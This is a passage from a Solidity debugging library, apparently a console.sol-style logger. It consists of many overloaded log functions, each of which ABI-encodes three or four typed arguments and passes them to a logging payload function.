_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
